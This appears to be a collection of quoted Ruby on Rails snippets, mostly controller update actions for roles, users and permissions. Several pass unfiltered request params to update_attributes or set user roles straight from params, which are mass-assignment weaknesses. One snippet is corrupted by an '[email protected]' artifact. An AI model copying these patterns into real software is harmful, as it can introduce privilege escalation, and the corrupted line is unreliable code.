"def update\n abilities = []\n params[:role][:role_abilities].each do |ability|\n abilities << ability.to_sym\n end\n @role.role_abilities = [{\"action\"=> abilities, \"subject\"=>[:api]}]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to roles_path, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lab_role = LabRole.find(params[:id])\n\n respond_to do |format|\n if @lab_role.update_attributes(params[:lab_role])\n format.html { redirect_to @lab_role, notice: 'Lab role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n # @personnel.first_name = params[\"first_name\"]\n # @personnel.last_name = params[\"last_name\"]\n # @personnel.phone_number = params[\"phone_number\"]\n # @personnel.title = params[\"title\"]\n # @personnel.email = params[\"email\"]\n\n respond_to do |format|\n if @personnel.update(personnel_params)\n @personnel.user_roles.update(:role_id => params[\"role_id\"][\"user_role_id\"])\n format.html { redirect_to personnel_path(@personnel), notice: 'Personnel was successfully updated.' }\n format.json { render :show, status: :ok, location: @personnel }\n else\n format.html { render :edit }\n format.json { render json: @personnel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @required_role.update(required_role_params)\n format.html { redirect_to @required_role, notice: 'Required role was successfully updated.' }\n format.json { render :show, status: :ok, location: @required_role }\n else\n format.html { render :edit }\n format.json { render json: @required_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n \n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n @role.update_attributes(params[:role])\n respond_with(@role)\n end",
"def update\n @role = Role.find(params[:id])\n \n @perms = params[:permissions[\"permissions\"]]\n if @perms != nil\n @permissions = @perms[\"permissions\"]\n end\n #logger.debug \"PERMISSIONS: #{@permissions.inspect}\"\n if @permissions == nil\n @role.read = 0\n @role.write = 0\n @role.execute = 0\n end\n if @permissions != nil\n if @permissions.include?(\"read\")\n @role.read = 1\n else\n @role.read = 0\n end\n if @permissions.include?(\"write\")\n @role.write = 1\n else\n @role.write = 0\n end\n if @permissions.include?(\"execute\")\n @role.execute = 1\n else\n @role.execute = 0\n end\n end\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to @role, notice: t(:role_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if role.update(role_params) && update_users_roles\n format.html { redirect_to admin_role_path(role), notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: role }\n else\n format.html { render :edit }\n format.json { render json: role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role_permision = RolePermision.find(params[:id])\n\n respond_to do |format|\n if @role_permision.update_attributes(params[:role_permision])\n format.html { redirect_to @role_permision, notice: 'Role permision was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role_permision.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_role\n\t\t@role = Role.find(params[:id])\n\n\t \trespond_to do |format|\n\t\t if @role.update_attributes(role_update_params)\n\t\t format.html { redirect_to(@role, :notice => 'Entry was successfully updated.') }\n\t\t format.json { respond_with_bip(@role) }\n\t\t else\n\t\t format.html { render :action => \"edit\" }\n\t\t format.json { respond_with_bip(@role) }\n\t\t end\n\n \t end\n\tend",
"def update\n @user = User.find(params[:id])\n params[:user][:roles].reject!(&:blank?)\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_url, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_practitioner_role\n @practitioner_role = PractitionerRole.find(params[:id])\n end",
"def update\n authorize! :assign_roles, @user if params[:user][:assign_roles]\n if @user.update_attributes(params[:user])\n redirect_to @user, notice: 'User was successfully updated.'\n else\n render \"edit\"\n end\n end",
"def update\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to admin_roles_path, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @app_role = AppRole.find(params[:id])\n\n respond_to do |format|\n if @app_role.update_attributes(params[:app_role])\n format.html { redirect_to @app_role, notice: 'App role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @app_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @person.update(person_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json {\n render :json => @person, :include=>[:roles]\n # Don't use this, due to this View no Role Data NOde\n # render :show, status: :ok, location: @person, :include=>[:roles]\n }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:user_id])\n @roles = Role.all\n \n if current_user.is_admin?\n @user.roles.clear\n @roles.each do |role|\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n else\n @roles.each do |role|\n if !role.admin_only\n if @user.has_role?(role.rolename)\n @user.roles.destroy(role)\n end\n if (params[:role][:role][role.rolename][:hasrole].to_s == 1.to_s)\n @user.roles << role\n end\n end\n end\n end\n \n flash[:notice] = I18n.t(\"user.success.roles_updated\")\n reload_page\n \n end",
"def update\n @roles_and_permission = @roles.roles_and_permission.find(params[:id])\n\n respond_to do |format|\n if @roles_and_permission.update_attributes(params[:roles_and_permission])\n format.html { redirect_to [@roles,@roles_and_permission], notice: 'Roles and permission was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @roles_and_permission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_role(id, *roles)\n request(:put, \"/users/#{id}.json\", default_params(:role_ids => roles))\n end",
"def update\n @company = Company.find(params[:company_id])\n @role = Role.find(params[:id])\n \n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to company_role_path(@company, @role), notice: 'El rol fue editado exitosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @roles = Role.all\n\n role = user_params[:role_id] ? user_params[:role_id] : @user.role_id\n if user_params[:password].empty?\n new_params = { :role_id => role,\n :first_name => user_params[:first_name],\n :last_name => user_params[:last_name],\n :email => user_params[:email],\n :telephone => user_params[:telephone] }\n else\n new_params = { :role_id => role,\n :first_name => user_params[:first_name],\n :last_name => user_params[:last_name],\n :email => user_params[:email],\n :telephone => user_params[:telephone],\n :password => user_params[:password],\n :password_confirmation => user_params[:password_confirmation] }\n end\n p = new_params\n respond_to do |format|\n if @user.update(p)\n format.html { redirect_to @user, notice: 'Benutzerdaten wurden aktualisiert.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # this action is not provided for partyroles\n end",
"def update\n @role.permissions = []\n @role.set_permissions(params[:permissions]) if params[:permissions]\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit_roles\n if (@user = find_user(params[:id]))\n begin\n User.transaction(@user) do\n \n roles = params[:user][:roles].collect { |role_id| Role.find(role_id) }\n # add any new roles & remove any missing roles\n roles.each { |role| @user.roles << role if [email protected]?(role) }\n @user.roles.each { |role| @user.roles.delete(role) if !roles.include?(role) }\n\n @user.save\n flash[:notice] = \"Roles updated for user '#{@user.login}'.\"\n end\n rescue\n flash[:warning] = 'Roles could not be edited at this time. Please retry.'\n ensure\n redirect_to :back\n end\n else\n redirect_back_or_default :action => 'list'\n end\n end",
"def update\n super\n if resource.role == 'employer'\n @employer = resource.employer.update(employer_params)\n elsif resource.role == 'employee'\n @employee = resource.employee.update(employee_params)\n end\n end",
"def update\n @opportunity_role = OpportunityRole.find(params[:id])\n\n\n\n @opportunity_role.update(opportunity_role_params)\n render json: @OpportunityRole_role\n end",
"def update\n @role = Role.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to edit_role_path(@role), :notice => t('hurricane.notice.update_record_success', :type => t_type)}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user.roles=params[\"user\"][\"roles\"]\n respond_to do |format|\n if @user.update(event_params)\n format.html { redirect_to users_path, notice: 'User roles change successfully' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: t('success_update') }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @role.update(safe_params)\n format.html { redirect_to [@company, @role], notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_role(token, server_id, role_id, name, colour, hoist = false, mentionable = false, packed_permissions = 36_953_089)\n request(\n __method__,\n :patch,\n \"#{api_base}/guilds/#{server_id}/roles/#{role_id}\",\n { color: colour, name: name, hoist: hoist, mentionable: mentionable, permissions: packed_permissions }.to_json,\n Authorization: token,\n content_type: :json\n )\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n @role.permissions = params[:role][:permission].map do |key, value|\n index = value[\"index\"] == \"1\" ? true : false\n index = true if value[\"new\"] == \"1\" || value[\"edit\"] == \"1\" || value[\"remove\"] == \"1\"\n Permission.update(value[\"id\"], :index => index, :new => value[\"new\"], :edit => value[\"edit\"], :remove => value[\"remove\"], :import => value[\"import\"])\n end\n format.html { redirect_to management_roles_path }\n format.json { render json: @role, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n flash.now[:notice] = 'Role was successfully updated.' if @role.update role_params\n respond_with @role\n end",
"def update_review_roles\n\n review_roles = Role.get_review_roles\n \n updated_roles = params[:review_role]\n\n update = false\n for review_role in review_roles\n \n role_id = review_role.id.to_s\n\n if review_role.cc_peers? && updated_roles[role_id] == '0'\n\treview_role.cc_peers = 0\n\treview_role.save\n\tupdate = true\n elsif (not review_role.cc_peers?) && updated_roles[role_id] == '1'\n\treview_role.cc_peers = 1\n\treview_role.save\n\tupdate = true\n end\n end\n\n if update\n flash['notice'] = 'Role(s) were successfully updated'\n else\n flash['notice'] = 'No updates occurred'\n end\n redirect_to(:action => 'list_review_roles')\n\n end",
"def update\n respond_to do |format|\n if @review_items_by_role.update(review_items_by_role_params)\n format.html { redirect_to @review_items_by_role, notice: 'Review items by role was successfully updated.' }\n format.json { render :show, status: :ok, location: @review_items_by_role }\n else\n format.html { render :edit }\n format.json { render json: @review_items_by_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @team_user_role.update(team_user_role_params)\n format.html { redirect_to @team_user_role, notice: 'Team user role was successfully updated.' }\n format.json { render :show, status: :ok, location: @team_user_role }\n else\n format.html { render :edit }\n format.json { render json: @team_user_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @admin_role = Role.find(params[:id])\n\n respond_to do |format|\n if @admin_role.update_attributes(params[:admin_role])\n format.html { redirect_to @admin_role, notice: 'Role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @admin_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n if request.get?\n @role = Role.find(params[:id].to_i)\n else\n @role = Role.find(params[:id].to_i)\n\n # set parent role\n if not params[:role][:parent].to_s.empty?\n @role.parent = Role.find(params[:role][:parent])\n else\n @role.parent = nil\n end\n\n # get an array of static permissions and set the permission associations\n params[:role][:static_permissions] = [] if params[:role][:static_permissions].nil?\n permissions = params[:role][:static_permissions].collect { |i| StaticPermission.find(i) }\n @role.static_permissions = permissions\n\n if @role.update_attributes(params[:role])\n flash[:success] = 'Role has been updated successfully.'\n redirect_to :action => 'show', :id => @role\n else\n render :action => 'update'\n end\n end\n \n rescue RecursionInTree\n @role.errors.add :parent, \"must not be a descendant of itself\"\n render :action => 'update'\n rescue ActiveRecord::RecordNotFound\n flash[:error] = 'You sent an invalid request.'\n redirect_to :action => 'list'\n end",
"def update_role(auth, server_id, role_id, name, color, hoist, mentionable, permissions, reason = nil)\n MijDiscord::Core::API.request(\n :guilds_sid_roles_rid,\n server_id,\n :patch,\n \"#{MijDiscord::Core::API::APIBASE_URL}/guilds/#{server_id}/roles/#{role_id}\",\n {\n color: color, name: name, hoist: hoist,\n mentionable: mentionable, permissions: permissions\n }.delete_if {|_, v| v.nil? }.to_json,\n Authorization: auth,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end",
"def update\n @lab_permissions_role = LabPermissionsRole.find(params[:id])\n\n respond_to do |format|\n if @lab_permissions_role.update_attributes(params[:lab_permissions_role])\n format.html { redirect_to @lab_permissions_role, notice: 'Lab permissions role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lab_permissions_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @org_role.update(org_role_params)\n format.html { redirect_to @org_role, notice: 'Org role was successfully updated.' }\n format.json { render :show, status: :ok, location: @org_role }\n else\n format.html { render :edit }\n format.json { render json: @org_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find_by_name(params[:name])\n \n respond_to do |format|\n @role.authorities = Authority.find_by_name(params[:authority_names])\n format.html { redirect_to(my_gem_role_path(@role.name),\n :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @role.update(role_params)\n format.html {\n redirect_to dashboard_path\n flash[:success] = @role.name+' was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course_role.update_attributes(params[:course_role])\n format.html { redirect_to course_roles_url, notice: 'Course role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @course_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n resource.update_attributes params[params_key], as: current_role\n respond_with resource\n end",
"def update\n respond_to do |format|\n if @role.update(system_role_params)\n format.html { redirect_to system_roles_url, notice: '更新角色成功.' }\n format.json { render :index, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if !params[:roles].include?('president') && @member.has_role?(:president) && !Tenant.current.has_presidents\n format.html { redirect_to member_path(@member), notice: 'Please select other user as President.' }\n elsif @member.update(member_params)\n remove_roles\n add_roles(params[:roles])\n format.html { redirect_to member_path(@member), notice: 'Member was successfully updated.' }\n format.json { render :show, status: :ok, location: @member }\n else\n format.html { render :edit }\n format.json { render json: @member.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @assessment_end_chapter_quiz = AssessmentEndChapterQuiz.find(params[:id])\n if current_user.role.id == 7\n params[:assessment_end_chapter_quiz][:status] = 6\n end\n respond_to do |format|\n if @assessment_end_chapter_quiz.update_attributes(params[:assessment_end_chapter_quiz])\n format.html { redirect_to@assessment_end_chapter_quiz, notice: 'AssessmentEndChapterQuiz was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@assessment_end_chapter_quiz.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @screen = session.active_screen\n @form_content_reuse = params[:form_content_reuse]\n \n @role = Role.find(params[:id]) \n @role.user_ids.each{|u_id| User.find(u_id).update_attributes( :updated_at => Time.now ) }\n @role.users.clear\n @role.users = User.find(params[:role][:user_ids]) unless params[:role][:user_ids].nil?\n @role.user_ids.each{|u_id| User.find(u_id).update_attributes( :updated_at => Time.now ) }\n \n @role.update_attributes(params[:role])\n\n respond_to do |format|\n format.html # create.html.erb\n format.xml { render :xml => @role }\n end\n end",
"def update\n respond_to do |format|\n if @titan_role.update(titan_role_params)\n format.html { redirect_to @titan_role, notice: 'Titan role was successfully updated.' }\n format.json { render :show, status: :ok, location: @titan_role }\n else\n format.html { render :edit }\n format.json { render json: @titan_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_role(role_id, data = {})\n raise Auth0::MissingParameter, 'Must supply a valid role_id' if role_id.to_s.empty?\n\n patch \"#{roles_path}/#{role_id}\", data\n end",
"def update\n flash[:notice] = 'Role was successfully updated.' if @role.update_attributes role_params\n respond_with @role\n end",
"def update\n respond_to do |format|\n if @roles_assignment.update(roles_assignment_params)\n format.html { redirect_to @roles_assignment, notice: 'Roles assignment was successfully updated.' }\n format.json { render :show, status: :ok, location: @roles_assignment }\n else\n format.html { render :edit }\n format.json { render json: @roles_assignment.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @roles = Role.all\n params[:user][:role_ids] ||= []\n puts json: user_params\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to [:admin, @user], notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { redirect_to edit_admin_user_path(@user), alert: @user.errors.full_messages().join(', ') }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @users_role.update(users_role_params)\n format.html { redirect_to @users_role, notice: 'Users role was successfully updated.' }\n format.json { render :show, status: :ok, location: @users_role }\n else\n format.html { render :edit }\n format.json { render json: @users_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n # this dirty check does not work\n \n #if @role.pool_display_name != params[:role][:pool_display_name]\n # @person = Person.find(1000000 + params[:id].to_i)\n # @person.first_name = @role.pool_display_name\n # @person.save\n #end\n \n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n format.json { render :show, status: :ok, location: @role }\n else\n format.html { render :edit }\n format.json { render json: @role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @workers_role.update(workers_role_params)\n format.html { redirect_to @workers_role, notice: 'Workers role was successfully updated.' }\n format.json { render :show, status: :ok, location: @workers_role }\n else\n format.html { render :edit }\n format.json { render json: @workers_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n return unless check_permission\n\n respond_to do |format|\n if @role.update(role_params)\n format.html { redirect_to @role, notice: 'Role was successfully updated.' }\n else\n @users = User.all\n format.html { render :edit }\n end\n end\n end",
"def update\n filtered_params = person_params\n filtered_params[:roles] ||= []\n filtered_params[:status] ||= []\n\n respond_to do |format|\n if @person.update(filtered_params)\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { render :show, status: :ok, location: @person }\n format.xml { render :show, status: :created, location: @person }\n else\n format.html { render :edit }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n format.xml { render xml: @person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_role\n @user = User.find(params[:id])\n\n # Limit access to authorized users\n authorize! :manage, @user\n\n @user.admin = params[:admin_role]\n respond_to do |format|\n if @user.save\n format.json { head :no_content }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @role = Role.find(params[:id])\r\n \r\n if @role.update_attributes(params[:role])\r\n msg= \"Role updated successfully!\"\r\n else\r\n msg= \"Role update failed!\"\r\n end\r\n redirect_to roles_path, :flash => { :notice => msg }\r\n end",
"def update\n @role = Role.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to(@role, :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:id])\n\n respond_to do |format|\n if @role.update_attributes(params[:role])\n format.html { redirect_to(@role, :notice => 'Role was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @operations_role = OperationsRole.find(params[:id])\n\n respond_to do |format|\n if @operations_role.update_attributes(params[:operations_role])\n flash[:notice] = 'OperationsRole was successfully updated.'\n format.html { redirect_to(@operations_role) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @operations_role.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(role, id = @id, user = @@default_user)\n @attributes = send_request(\"roles/#{id}\", :put) do |req|\n req.body = {\n role: role,\n auth_token: user.auth_token\n }\n end\n end",
"def update\n @assessment_insti_test = AssessmentInstiTest.find(params[:id])\n if current_user.role.id == 7\n params[:assessment_insti_test][:status] = 6\n end\n respond_to do |format|\n if @assessment_insti_test.update_attributes(params[:assessment_insti_test])\n format.html { redirect_to@assessment_insti_test, notice: 'AssessmentInstiTest was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@assessment_insti_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n roles = params[:user].delete(:roles)\n if roles.present?\n roles.map! { |r| r.downcase }\n ['admin', 'staff'].each do |type|\n role = @user.roles.find_by(type: Role.types[type])\n if role && !roles.include?(type)\n role.destroy\n elsif !role && roles.include?(type)\n @user.roles << Role.new(type: type)\n end\n end\n end\n\n respond_to do |format|\n if @user.update(user_params)\n format.html do\n if request.referer == settings_url\n redirect_to :settings, notice: 'Saved.'\n else\n redirect_to :attendees, notice: 'User was successfully updated.'\n end\n end\n format.json { render :show, status: :ok, location: @user }\n else\n format.html { redirect_to :back, alert: @user.errors.full_messages.first }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @project_role = ProjectRole.find(params[:id])\n\n respond_to do |format|\n if @project_role.update_attributes(params[:project_role])\n format.html { redirect_to @project_role, notice: 'Project role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @project_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find_by(email: params[:user][:email])\n @user.roles = params[:user][:roles]\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path, notice: 'User was successfully updated.' }\n # format.json { render :show, status: :ok, location: @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role_in_a_movie = RoleInAMovie.find(params[:id])\n\n respond_to do |format|\n if @role_in_a_movie.update_attributes(params[:role_in_a_movie])\n format.html { redirect_to @role_in_a_movie, notice: 'Role in a movie was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @role_in_a_movie.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role.attributes = params[:role]\n respond_to do |format|\n if @role.save\n flash[:notice] = 'Role was successfully updated.'\n format.html { redirect_to role_url(@role.code) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @role.errors.to_xml }\n end\n end\n end",
"def update\n respond_to do |format|\n if @movie_role.update(movie_role_params)\n format.html { redirect_to @movie_role, notice: 'Movie role was successfully updated.' }\n format.json { render :show, status: :ok, location: @movie_role }\n else\n format.html { render :edit }\n format.json { render json: @movie_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update\n\n post(:update, { :user => { :id => @rich_m.id } }, {})\n assert_redirected_to( :controller => 'tracker', :action => \"index\" )\n assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n assert_equal(2, @rich_m.roles.size)\n \n post(:update, \n { :user => { :id => @rich_m.id,\n :first_name => 'Richard',\n :last_name => 'Miller',\n :email => '' },\n :role => { '1' => '1',\n '2' => '1',\n '6' => '0',\n '9' => '1',\n '8' => '0' } },\n cathy_admin_session)\n\n assert_redirected_to(:controller => 'user',\n :action => 'edit',\n :id => @rich_m.id)\n #assert_equal('The user information for Richard Miller was updated',\n # flash['notice'])\n \n @rich_m.reload\n assert_equal(3, @rich_m.roles.size)\n\n end",
"def update\n load_permissions\n ids = params[:permissions].select {|k, v| v == \"1\"}.map {|k,v| k.to_i }\n if ids.length > 0\n permissions = Permission.find(:all, :conditions => [\"id in (#{ids.join(',')})\"])\n @role = Role.find(params[:id])\n params[:role][:permissions] = permissions\n if @role.update_attributes(params[:role])\n flash[:notice] = \"修改角色成功\"\n redirect_to :action => 'index'\n else\n flash[:error] = '修改角色失败'\n redirect_to :action => 'edit', :id => @role.id\n end\n else\n flash[:error] = \"角色名或权限不能为空\"\n redirect_to :action => 'edit', :id => @role.id\n end\n end",
"def update\n @assessment_olympiad = AssessmentOlympiad.find(params[:id])\n if current_user.role.id == 7\n params[:assessment_olympiad][:status] = 6\n end\n respond_to do |format|\n if @assessment_olympiad.update_attributes(params[:assessment_olympiad])\n format.html { redirect_to@assessment_olympiad, notice: 'AssessmentOlympiad was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json:@assessment_olympiad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n @user.update_roles(params[:selected_roles])\n if @user.update_attributes(params[:user])\n flash[:notice] = 'User was successfully updated.'\n redirect_to(@user)\n else\n #flash[:error] = 'User was not updated. Please try again'\n render :action => \"edit\"\n end\n \n end",
"def update\n authorize(current_user)\n role = params[:user][:role_ids]\n roleModel =Role.find( role)\n if @user.setRole roleModel.name\n @user.save\n redirect_to users_path, :notice => \"Rolle geändert\"\n else\n redirect_to users_path, :notice => \"Rolle nicht geändert\"\n end\n end",
"def update\n respond_to do |format|\n if @ministerial_role.update(ministerial_role_params)\n format.html { redirect_to @ministerial_role, notice: 'Ministerial role was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @ministerial_role.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @role = Role.find(params[:role][:id])\n\n if @role.update_attributes(params[:role])\n flash['notice'] = 'Role was successfully updated.'\n redirect_to :action => 'edit', \n :id => params[:role][:id]\n else\n flash['notice'] = 'Role not updated'\n redirect_to :action => 'edit', \n :id => params[:role][:id]\n end\n \n\n end",
"def set_role\n role = Role.find_by_name(user_params[:role]) rescue nil\n role ? user_params_with_role(role) :\n (render json: { status: 400, error: \"Mention a proper Role for User\" })\n end",
"def update\n @user = User.find(params[:user_id])\n @role = Role.find(params[:id])\n unless @user.has_role?(@role.name)\n @user.roles << @role\n end\n redirect_to :action => 'index'\n end",
"def update\n respond_to do |format|\n if @role_funcion.update(role_funcion_params)\n format.html { redirect_to @role_funcion }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @role_funcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n logger.debug(\"Role edit\")\n @role = Role.find(params[:id])\n @person = @role.person\n end",
"def update\n @team_roleset = TeamRoleset.find(params[:id])\n\n respond_to do |format|\n if @team_roleset.update_attributes(params[:team_roleset])\n format.html { redirect_to(@team_roleset, :notice => 'TeamRoleset was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @team_roleset.errors, :status => :unprocessable_entity }\n end\n end\n end",
